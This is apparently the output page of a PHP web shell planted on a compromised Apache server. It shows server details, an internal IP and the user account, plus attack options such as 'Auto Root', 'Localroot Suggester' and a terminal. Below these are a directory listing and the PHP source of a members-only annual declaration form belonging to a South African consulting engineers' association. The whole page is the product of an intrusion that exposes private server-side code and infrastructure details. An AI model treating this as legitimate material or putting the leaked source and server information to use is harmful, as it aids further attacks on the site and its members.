Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
members /
AnnualDeclaration /
Delete
Unzip
Name
Size
Permission
Date
Action
docs
[ DIR ]
drwxr-sr-x
2011-01-04 11:30
images
[ DIR ]
drwxr-sr-x
2008-01-09 08:05
CodeOfConduct.php
14
KB
-rw-r--r--
2019-12-19 07:10
CodeOfConduct.php4
14.1
KB
-rw-r--r--
2008-01-09 08:05
ExplanatoryNotes.php
8.6
KB
-rw-r--r--
2019-12-19 07:10
ExplanatoryNotes.php4
8.71
KB
-rw-r--r--
2008-01-09 08:05
adecstyles.css
0
B
-rw-r--r--
2008-01-09 08:05
annualDec2003.php
18.08
KB
-rw-r--r--
2025-02-18 15:01
annualDec2003.php4
18.05
KB
-rw-r--r--
2008-01-09 08:05
annualDecMain.php
14.15
KB
-rw-r--r--
2025-02-18 15:01
annualDecMain.php4
14.13
KB
-rw-r--r--
2008-01-09 08:05
annualDecPrint.php
18.19
KB
-rw-r--r--
2025-02-18 15:01
annualDecPrint.php4
18.17
KB
-rw-r--r--
2008-01-09 08:05
annualGENERIC.php
13.72
KB
-rw-r--r--
2025-02-18 15:01
annualGENERIC.php4
13.69
KB
-rw-r--r--
2008-01-09 08:05
annualGENERIC2.php
15.61
KB
-rw-r--r--
2025-02-18 15:01
annualGENERIC2.php4
15.59
KB
-rw-r--r--
2008-01-09 08:05
annualGENERIC3.php
15.92
KB
-rw-r--r--
2025-02-18 15:01
annualGENERIC3.php4
15.89
KB
-rw-r--r--
2008-01-09 08:05
annualGENERIC4.php
35.31
KB
-rw-r--r--
2025-02-18 15:01
annualGENERIC4.php4
22.9
KB
-rw-r--r--
2008-02-18 11:04
annualGENERIC_A.php
21.19
KB
-rw-r--r--
2019-12-19 07:10
annualGENERIC_A.php4
21.61
KB
-rw-r--r--
2008-01-09 08:05
declcomplete.php
2.65
KB
-rw-r--r--
2024-01-09 07:58
declcomplete.php4
2.25
KB
-rw-r--r--
2008-01-16 12:11
navigation.html
3.22
KB
-rw-r--r--
2019-12-19 07:10
primedb.php
544
B
-rw-r--r--
2019-12-19 07:10
primedb.php4
559
B
-rw-r--r--
2008-01-16 12:11
printschedules.php
20.29
KB
-rw-r--r--
2024-01-09 07:58
printschedules.php4
12.68
KB
-rw-r--r--
2008-01-16 08:00
schedule1.php
33.16
KB
-rw-r--r--
2019-12-19 07:10
schedule1.php4
33.95
KB
-rw-r--r--
2008-02-22 07:07
schedule1_page1.php
19.11
KB
-rw-r--r--
2019-12-19 07:10
schedule1_page1.php4
19.56
KB
-rw-r--r--
2008-02-22 07:07
schedule1_page1BLANK.php
22.82
KB
-rw-r--r--
2019-12-19 07:10
schedule1_page1BLANK.php4
23.27
KB
-rw-r--r--
2008-02-22 07:07
schedule1_page1GENERIC.php
24.9
KB
-rw-r--r--
2019-12-19 07:10
schedule1_page1GENERIC.php4
25.38
KB
-rw-r--r--
2008-02-22 07:07
schedule1_page1GENERIC_A.php
21.57
KB
-rw-r--r--
2019-12-19 07:10
schedule1_page1GENERIC_A.php4
21.97
KB
-rw-r--r--
2008-01-09 08:05
schedule1_page2.php
14.09
KB
-rw-r--r--
2019-12-19 07:10
schedule1_page2.php4
14.33
KB
-rw-r--r--
2008-02-01 06:32
schedule1_page2GENERIC.php
87.78
KB
-rw-r--r--
2025-08-19 08:12
schedule1_page2GENERIC.php4
45.36
KB
-rw-r--r--
2011-01-20 08:16
schedule1_page2GENERIC_A.php
42.61
KB
-rw-r--r--
2025-08-19 08:12
schedule1_page2GENERIC_A.php4
26.36
KB
-rw-r--r--
2008-01-09 08:07
schedule1a.php
3.11
KB
-rw-r--r--
2019-12-19 07:10
schedule1a.php4
3.19
KB
-rw-r--r--
2008-01-09 08:05
schedule1aGENERIC.php
20.19
KB
-rw-r--r--
2024-01-09 07:58
schedule1aGENERIC.php4
15.47
KB
-rw-r--r--
2008-01-16 08:00
schedule1aGENERIC_A.php
15.22
KB
-rw-r--r--
2024-01-09 07:58
schedule1aGENERIC_A.php4
10.22
KB
-rw-r--r--
2008-01-09 08:07
schedule1b.php
32.47
KB
-rw-r--r--
2019-12-19 07:10
schedule1b.php4
33.31
KB
-rw-r--r--
2008-02-01 06:32
schedule1b_page1.php
25.85
KB
-rw-r--r--
2019-12-19 07:10
schedule1b_page1.php4
26.41
KB
-rw-r--r--
2008-02-01 06:32
schedule1b_page1BLANK.php
21.93
KB
-rw-r--r--
2019-12-19 07:10
schedule1b_page1BLANK.php4
22.35
KB
-rw-r--r--
2008-01-09 08:05
schedule1b_page1GENERIC.php
23.04
KB
-rw-r--r--
2019-12-19 07:10
schedule1b_page1GENERIC.php4
23.46
KB
-rw-r--r--
2008-01-09 08:05
schedule1b_page1GENERIC_A.php
18.75
KB
-rw-r--r--
2019-12-19 07:10
schedule1b_page1GENERIC_A.php4
19.09
KB
-rw-r--r--
2008-01-09 08:05
schedule1b_page2.php
13.29
KB
-rw-r--r--
2019-12-19 07:10
schedule1b_page2.php4
13.56
KB
-rw-r--r--
2008-02-01 06:32
schedule1b_page2GENERIC.php
61.67
KB
-rw-r--r--
2025-07-18 08:30
schedule1b_page2GENERIC.php4
36.81
KB
-rw-r--r--
2011-01-20 08:16
schedule1b_page2GENERIC_A.php
43.97
KB
-rw-r--r--
2025-07-18 08:30
schedule1b_page2GENERIC_A.php4
26.08
KB
-rw-r--r--
2008-01-09 08:07
schedule2.php
20.91
KB
-rw-r--r--
2019-12-19 07:10
schedule2.php4
21.44
KB
-rw-r--r--
2008-02-01 06:32
schedule2GENERIC.php
59.42
KB
-rw-r--r--
2024-01-09 07:58
schedule2GENERIC.php4
36.98
KB
-rw-r--r--
2008-01-16 08:00
schedule2GENERIC_A.php
48.71
KB
-rw-r--r--
2024-01-09 07:58
schedule2GENERIC_A.php4
28.93
KB
-rw-r--r--
2008-01-09 08:07
schedule3.php
5.53
KB
-rw-r--r--
2019-12-19 07:10
schedule3.php4
5.55
KB
-rw-r--r--
2008-01-09 08:05
schedule4GENERIC.php
3.63
KB
-rw-r--r--
2019-12-19 07:10
schedule4GENERIC.php4
3.73
KB
-rw-r--r--
2008-01-09 08:05
schedule4GENERIC_A.php
3.63
KB
-rw-r--r--
2019-12-19 07:10
schedule4GENERIC_A.php4
3.73
KB
-rw-r--r--
2008-01-09 08:05
spacer.gif
43
B
-rw-r--r--
2019-12-19 07:10
subscriptione.php
12.31
KB
-rw-r--r--
2019-12-19 07:10
subscriptione.php4
12.59
KB
-rw-r--r--
2008-01-09 08:05
Save
Rename
<?php // Configuration and Autentication include( '../inc/auth.inc' ); include( '../inc/func.inc' ); switch ($auth) { case valid: // System Includes //include( '../inc/pref.inc' ); // Variables Unique to page $title = "members.saace.co.za - Annual Declaration " & $DeclarationYear; $description = "South African Association of Consulting Engineers. Annual Declaration " & $DeclarationYear & "."; $keywords = "online, services, members, consulting, engineers"; // Start Page Includes include( '../inc/conf.inc' ); // include( '../inc/header.inc' ); include( '../inc/db.inc' ); ?> <script language="JavaScript"> <!-- function MM_openBrWindow(theURL,winName,features) { //v2.0 window.open(theURL,winName,features); } //--> </script> <title>Annual Declaration <?php echo $DeclarationYear; ?></title> <link rel="stylesheet" href="adecstyles.css" type="text/css"> <style type="text/css"> <!-- .style1 { color: #FFFFFF; font-family: Arial, Helvetica, sans-serif; } .style2 {font-family: Arial, Helvetica, sans-serif} .style3 { font-size: 12px; font-weight: bold; } .style4 {font-size: 12px} --> </style> <body bgcolor="#FFFFFF"> <!-- Start Page Content Here --> <?php include( '../inc/readnext.inc' ); if ($action == "yes") { ?> <?php include( '../inc/submitcheck2b.inc' ); ?> <table align="center" width="100%" cellpadding="0" cellspacing="0" border="1"> <tr> <td bgcolor="#336699"> <div align="center"> </div> <div align="left"><font face="sans-serif"><b><font color="#CCCCCC" size="2">Welcome to the <font color="#999999">ONLINE ANNUAL DECLARATION FORM</font>.<br> Please complete all the <font color="#999999">FIELDS</font> and the click on the <font color="#999999">SUBMIT</font> button to continue..</font> <font size="2" color="#CCCCCC"><br> If you have any questions please contact us via Mail:</font></b><font size="2"> </font></font></div> </td> </tr> <tr> <td> <div align="center"><font face="sans-serif"><br> <?php echo $ErrorReport; if ($NextSection == "notcomplete") { echo "<p>To fix the ERROR you can simply click on the "; ?> <font size = -2><a href="javascript:history.back(1)">BACK</a></font></font> <font face="sans-serif"> <?php echo "button to go back to the previous page.<p>"; } ?> <br> </font></div> </td> </tr> <tr> <td bgcolor="#336699"> <div align="center"> <font face="sans-serif"> <?php if ($NextSection == "complete") { echo "<script language='Javascript'>document.location='schedule1b_page2GENERIC.php4?officenum=$officenum&SelectOfficeID=$SelectOfficeID&action=A';</script>"; } if ($NextSection == "notcomplete") { ?> </font> <div align="center"><font face="sans-serif" size="1"><b><font size="2" color="#CCCCCC">******** PLEASE USE THE BACK BUTTON ******** </font> </b></font> <font face="sans-serif"> <?php } ?> </font></div> </div> </td> </tr> </table> <?php } else { ?> <?php include( '../inc/declaration_nav.php4' ); ?> <form method="post" action="<?php echo $PHP_SELF; ?>" enctype="multipart/form-data"> <table align="center" width="99%" cellpadding="0" cellspacing="0" border="1"> <tr align="left" valign="top"> <td> <div align="center"> <div align="center"> </div> <div align="left"> <TABLE WIDTH=700 BORDER=0 align="center" CELLPADDING=0 CELLSPACING=0 bgcolor="#336699"> <TR> <TD COLSPAN=2 ROWSPAN=3> <IMG SRC="images/stepnum4.jpg" WIDTH=65 HEIGHT=60 ALT=""></TD> <TD> <IMG SRC="images/navigation_02.jpg" WIDTH=20 HEIGHT=16 ALT=""></TD> <TD> <IMG SRC="images/navigation_03.jpg" WIDTH=155 HEIGHT=16 ALT=""></TD> <TD> <IMG SRC="images/navigation_04.jpg" WIDTH=52 HEIGHT=16 ALT=""></TD> <TD> <IMG SRC="images/navigation_05.jpg" WIDTH=387 HEIGHT=16 ALT=""></TD> <TD> <IMG SRC="images/navigation_06.jpg" WIDTH=21 HEIGHT=16 ALT=""></TD> </TR> <TR> <TD> <IMG SRC="images/navigation_07.jpg" WIDTH=20 HEIGHT=29 ALT=""></TD> <TD COLSPAN=3 bgcolor="#336699"> <center class="style2"> <font color="white">OFFICES <em>OUTSIDE</em> SOUTH AFRICA</font> </center></TD> <TD> <IMG SRC="images/navigation_09.jpg" WIDTH=21 HEIGHT=29 ALT=""></TD> </TR> <TR> <TD> <IMG SRC="images/navigation_10.jpg" WIDTH=20 HEIGHT=15 ALT=""></TD> <TD> <IMG SRC="images/navigation_11.jpg" WIDTH=155 HEIGHT=15 ALT=""></TD> <TD> <IMG SRC="images/navigation_12.jpg" WIDTH=52 HEIGHT=15 ALT=""></TD> <TD> <IMG SRC="images/navigation_13.jpg" WIDTH=387 HEIGHT=15 ALT=""></TD> <TD> <IMG SRC="images/navigation_14.jpg" WIDTH=21 HEIGHT=15 ALT=""></TD> </TR> <TR> <TD> <IMG SRC="images/navigation_15.jpg" WIDTH=13 HEIGHT=36 ALT=""></TD> <TD COLSPAN=3> <a href="#" onClick="javascript:ShowNav();"><IMG SRC="images/stepseq4.jpg" WIDTH=227 HEIGHT=36 ALT="" usemap="#Map"></a></TD> <TD> <IMG SRC="images/navigation_17.jpg" WIDTH=52 HEIGHT=36 ALT=""></TD> <TD ROWSPAN=3 bgcolor="#336699"><span class="style2"><font color="#FFFFFF" size="2"> Please complete the form below, then click the Save and Continue button at the bottom of the page.<br> Questions? <a href="mailto:julia@xe.co.za"><font color=white>Click here for help</font></a>. </font></span></TD> <TD> <IMG SRC="images/navigation_19.jpg" WIDTH=21 HEIGHT=36 ALT=""></TD> </TR> <TR> <TD> <IMG SRC="images/navigation_20.jpg" WIDTH=13 HEIGHT=5 ALT=""></TD> <TD> <IMG SRC="images/navigation_21.jpg" WIDTH=52 HEIGHT=5 ALT=""></TD> <TD> <IMG SRC="images/navigation_22.jpg" WIDTH=20 HEIGHT=5 ALT=""></TD> <TD> <IMG SRC="images/navigation_23.jpg" WIDTH=155 HEIGHT=5 ALT=""></TD> <TD> <IMG SRC="images/navigation_24.jpg" WIDTH=52 HEIGHT=5 ALT=""></TD> <TD> <IMG SRC="images/navigation_25.jpg" WIDTH=21 HEIGHT=5 ALT=""></TD> </TR> <TR> <TD> <IMG SRC="images/navigation_26.jpg" WIDTH=13 HEIGHT=18 ALT=""></TD> <TD COLSPAN=3 bgcolor="#336699"><span class="style1">New office </span> </TD> <TD> <IMG SRC="images/navigation_28.jpg" WIDTH=52 HEIGHT=18 ALT=""></TD> <TD> <IMG SRC="images/navigation_29.jpg" WIDTH=21 HEIGHT=18 ALT=""></TD> </TR> <TR> <TD> <IMG SRC="images/navigation_30.jpg" WIDTH=13 HEIGHT=11 ALT=""></TD> <TD> <IMG SRC="images/navigation_31.jpg" WIDTH=52 HEIGHT=11 ALT=""></TD> <TD> <IMG SRC="images/navigation_32.jpg" WIDTH=20 HEIGHT=11 ALT=""></TD> <TD> <IMG SRC="images/navigation_33.jpg" WIDTH=155 HEIGHT=11 ALT=""></TD> <TD> <IMG SRC="images/navigation_34.jpg" WIDTH=52 HEIGHT=11 ALT=""></TD> <TD> <IMG SRC="images/navigation_35.jpg" WIDTH=387 HEIGHT=11 ALT=""></TD> <TD> <IMG SRC="images/navigation_36.jpg" WIDTH=21 HEIGHT=11 ALT=""></TD> </TR> </TABLE> <p><font face="sans-serif"><b>If you need to add a new office, fill in its details below.<br> If you do NOT want to add a new office, then click the button marked SKIP THIS STEP.</b></font></p> <p><font face="sans-serif"><b>This form is for offices outside South Africa only. </b></font></p> <p><font face="sans-serif"><font size="2"> </font></font> </p> </div> </div> </td> </tr> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="13%" align="left" valign="top"><font face="sans-serif" size="1"><img width=66 height=84 src="images/image002.gif" v:shapes="_x0000_i1025"></font></td> <td width="76%" valign="middle" align="center"> <div align="center" class="style4"><font face="sans-serif">THE SOUTH AFRICAN ASSOCIATION OF CONSULTING ENGINEERS<br> DETAILS OF OFFICES <b><i>OUTSIDE</i></b> THE REPUBLIC OF SOUTH AFRICA:<br> (Complete <b>a separate sheet</b> for each office)</font> </div> </td> <td width="11%" align="right" valign="middle"> <div align="right" class="style3"><font face="sans-serif">SCHEDULE 1B <br> (<?php echo $DeclarationYear; ?>)<br> PAGE: 1 <?php $selected1 = ""; $selected2 = ""; $selected3 = ""; $selected4 = ""; if ($OfficeStatus == "Head Office") { $selected1 = "selected"; } if ($OfficeStatus == "Branch") { $selected2 = "selected"; } if ($OfficeStatus == "Only Office") { $selected3 = "selected"; } if ($OfficeStatus == "Subsidiary Company") { $selected4 = "selected"; } ?> </font></div> </td> </tr> <tr> <td colspan="3"> <table width="100%" border="0" cellspacing="2" cellpadding="0"> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"><b><font size="1"><span style='font-size:10.0pt;font-family:"Times New Roman"'>Name of Firm:</span></font></b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[nameoffirm]" size="30"> </font><font face="sans-serif"><font face="sans-serif"><font face="sans-serif" size="2"><b><font color="#CCCCCC"><font color="#FF0000">*</font></font></b></font></font></font></td> </tr> <tr> <td colspan="2" bgcolor="#CCCCCC"> <div align="center"><font face="sans-serif"><b><font size="1"><span style='font-size:10.0pt;font-family:"Times New Roman"'>Physical Address:</span></font></b><font size="1"> </font></font></div> </td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"><b><font size="1">Building:</font></b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[officebuilding]" size="30"> </font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"><b><font size="1">Street:</font></b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[officestreet]" size="30"> </font><font face="sans-serif"><font face="sans-serif"><font face="sans-serif" size="2"><b><font color="#CCCCCC"><font color="#FF0000">*</font></font></b></font></font></font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"><b><font size="1">Suburb:�</font></b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[officesuburb]" size="30"> </font><font face="sans-serif"><font face="sans-serif"><font face="sans-serif" size="2"><b><font color="#CCCCCC"><font color="#FF0000">*</font></font></b></font></font></font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"><b><font size="1">City/Town:</font></b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[officecity]" size="30"> </font><font face="sans-serif"><font face="sans-serif"><font face="sans-serif" size="2"><b><font color="#CCCCCC"><font color="#FF0000">*</font></font></b></font></font></font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"><b><font size="1">Province:</font></b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[officeprovince]" size="30"> </font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"><b><font size="1">Country:</font></b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[country]" size="30"> </font><font face="sans-serif"><font face="sans-serif"><font face="sans-serif" size="2"><b><font color="#CCCCCC"><font color="#FF0000">*</font></font></b></font></font></font></td> </tr> <tr> <td colspan="2"> <div align="center"></div> </td> </tr> <tr> <td colspan="2" bgcolor="#CCCCCC"> <div align="center"><font face="sans-serif"><b><font size="1"><span style='font-size:10.0pt; font-family:"Times New Roman"'>Postal Address:</span></font></b><font size="1"> </font></font></div> </td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"><b><font size="1">PO Box: </font></b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[pobox]" size="30"> </font><font face="sans-serif"><font face="sans-serif"><font face="sans-serif" size="2"><b><font color="#CCCCCC"><font color="#FF0000">*</font></font></b></font></font></font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"> </td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[poextend]" size="30"> </font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"><b><font size="1">Town/City:</font></b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[towncity]" size="30"> </font><font face="sans-serif"><font face="sans-serif"><font face="sans-serif" size="2"><b><font color="#CCCCCC"><font color="#FF0000">*</font></font></b></font></font></font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"><b><font size="1">Code:</font></b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[code]" size="30"> </font><font face="sans-serif"><font face="sans-serif"><font face="sans-serif" size="2"><b><font color="#CCCCCC"><font color="#FF0000">*</font></font></b></font></font></font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"><b><font size="1">Telephone No:</font></b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[tel]" size="30"> </font><font face="sans-serif"><font face="sans-serif"><font face="sans-serif" size="2"><b><font color="#CCCCCC"><font color="#FF0000">*</font></font></b></font></font></font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"><b><font size="1">Fax No:</font></b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[fax]" size="30"> </font><font face="sans-serif"><font face="sans-serif"><font face="sans-serif" size="2"><b><font color="#CCCCCC"><font color="#FF0000">*</font></font></b></font></font></font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif"><b><font size="1">E-mail:</font></b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[email]" size="30"> </font><font face="sans-serif"><font face="sans-serif"><font face="sans-serif" size="2"><b><font color="#CCCCCC"><font color="#FF0000">*</font></font></b></font></font></font></td> </tr> <tr> <td colspan="2"> <div align="center"><font size="1" face="sans-serif"><b>NAME (REGISTRATION AND QUALIFICATIONS, IF ANY) OF PERSON IN CHARGE OF OFFICE :</b></font></div> </td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font size="1" face="sans-serif"><b>Designation</b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[des]" size="30"> </font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font size="1" face="sans-serif"><b>First Name </b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[nam]" size="30"> </font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font size="1" face="sans-serif"><b>Last Name </b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[sur]" size="30"> </font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font size="1" face="sans-serif"><b>Registration</b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[regis]" size="30"> </font></td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font size="1" face="sans-serif"><b>Qualifications</b></font></td> <td width="65%"><font face="sans-serif" size="1"> <input type="text" name="form[qual]" size="30"> </font></td> </tr> <tr> <td colspan="2"> <div align="center"> </div> </td> </tr> <tr> <td width="35%" bgcolor="#CCCCCC"><font face="sans-serif" size="1"><b>Are you a MEMBER of the local FIDIC affiliated Member Association: </b></font></td> <td width="65%"> <font face="sans-serif"> <select name="select[fidic]"> <option value="No">No</option> <option value="Yes">Yes</option> </select> <font face="sans-serif"><font face="sans-serif" size="2"><b><font color="#CCCCCC"><font color="#FF0000">*</font></font></b></font></font></font></td> </tr> </table> </td> </tr> </table> </td> </tr> <tr> <td> <div align="center"><font face="sans-serif" size="2"><b><font color="#CCCCCC">Please complete the document and click on the button to continue:</font> <br> </b></font><font color="#000000"><b><font face="sans-serif" size="2"> <input name="imageField" type="image" src="images/save.jpg" width="200" height="100" border="0"> OR </font><font color="#000000"><b><font face="sans-serif" size="2"><a href="schedule2GENERIC.php4"><img src="images/skip.jpg" width="200" height="100" border="0"></a></font></b></font><font face="sans-serif" size="2"> </font></b></font><font face="sans-serif" size="2"><b> </b></font></div> </td> </tr> </table> <INPUT TYPE="HIDDEN" NAME="action" VALUE ="yes"> <INPUT TYPE="HIDDEN" NAME="officenum" VALUE ="<?php echo $officenum; ?>"> <INPUT TYPE="HIDDEN" NAME="AddNewOffice" VALUE ="yes"> </form> <?php } ?> <!-- End Page Content Here --> <map name="Map"> <area shape="circle" coords="68,19,16" href="#" onClick="javascript:ShowNav();" alt="Annual Declaration"> <area shape="circle" coords="96,18,13" href="#" onClick="javascript:ShowNav();" alt="Schedule 1: Offices within South Africa"> <area shape="circle" coords="124,17,13" href="#" onClick="javascript:ShowNav();" alt="Schedule 1A: Firms to be treated as one"> <area shape="circle" coords="148,18,14" href="#" onClick="javascript:ShowNav();" alt="Schedule 1B: Offices outside South Africa"> <area shape="circle" coords="175,17,13" href="#" onClick="javascript:ShowNav();" alt="Schedule 2: Fields of expertise"> <area shape="circle" coords="201,18,14" href="#" onClick="javascript:ShowNav();" alt="Documents to be printed"> </map> <?php // End page Includes include( '../inc/footer2.inc' ); break; case invalid: header("Location: http://www.saace.co.za/login.php4?pageurl=".$_SERVER['REQUEST_URI']); //systemerror("Login Error","Initial Login Failure",getenv ("PATH_INFO"), $authorized); break; default: systemerror("System Error","System Failure on Authentication",getenv ("PATH_INFO"), "There is a problem logging into our system. Try again later or if the problem persists, please contact SAACE to report the problem."); break; } ?>